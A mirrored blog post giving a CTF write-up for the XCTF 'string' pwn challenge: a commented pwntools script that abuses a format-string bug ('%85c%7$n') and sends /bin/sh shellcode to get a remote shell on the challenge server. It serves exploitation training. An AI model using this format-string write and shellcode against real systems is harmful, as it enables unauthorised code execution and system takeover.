zoukankan      html  css  js  c++  java
  • 攻防世界 | string

    #encoding=utf-8
    #!usr/bin/python
    
    from pwn import *
    io = remote('111.198.29.45',42643)
    io.recvuntil("secret[0] is ")
    # recvuntil(some_string) 接收到 some_string 为止
    v3_0_addr = int(io.recvuntil("
    ")[:-1], 16) #打印cv3[0]的地址
    log.info("v3_0_addr:" + hex(v3_0_addr))
    
    #进入sub_4000D72()
    io.recvuntil("character's name be:")
    io.sendline("123")
    #进入sub_400A7D()
    io.recvuntil("east or up?:")
    io.sendline("east")
    
    #进入sub_400BB9():printf处存在格式化字符串漏洞,利用这一点去修改v3[0]的值为85
    io.recvuntil("there(1), or leave(0)?:")
    io.sendline("1")
    io.recvuntil("'Give me an address'")
    io.sendline(str(v3_0_addr))
    io.recvuntil("you wish is:")
    io.sendline("%85c%7$n")
    # 使用 *<a_number_of_chars>%<number>$n* 就可以将相应的第 *<number>* 个参数的位置写为 % 前输出的字符数量
    # 如本题先用 %85c 输出了85个字符,再用 %7$n 将第七个参数的位置写成了85
    
    #进入sub_400CA6():v1会被强制转成函数指针并且得到执行,所以我们传入一个system()函数去getshell
    context(os='linux',arch='amd64') #设置目标机的参数 os设置系统为linux系统,arch设置架构为amd64
    shellcode = asm(shellcraft.sh()) #(生成的shellcode攻击失败,所以使用反汇编的shellcode)
    # (shellcode = "x6ax3bx58x99x52x48xbbx2fx2fx62x69x6ex2fx73x68x53x54x5fx52x57x54x5ex0fx05")
    # 注释 :师傅没有失败只是忘了context
    # shellcraft 是一个帮忙生成shellcode的类. shellcraft.sh():获得执行system(“/bin/sh”)汇编代码所对应的机器码
    io.recvuntil("USE YOU SPELL")
    io.sendline(shellcode)
    io.interactive()


    参考:

    https://www.jianshu.com/p/457520f97a76

    https://blog.csdn.net/qq_35495684/article/details/79583232

    https://adworld.xctf.org.cn/task/writeup?type=pwn&id=5056&number=2&grade=0&page=1

    https://www.jianshu.com/p/8322fa5dff22

  • 相关阅读:
    网络流24题
    可持久化Treap
    后缀平衡树
    bzoj2561-最小生成树
    poj3164-Command Network
    最小树形图
    hdu2121-Ice_cream’s world II
    线性处理逆元
    bzoj3992-序列统计
    JavaScript 类型转换
  • 原文地址:https://www.cnblogs.com/chrysanthemum/p/11772977.html
Copyright © 2011-2022 走看看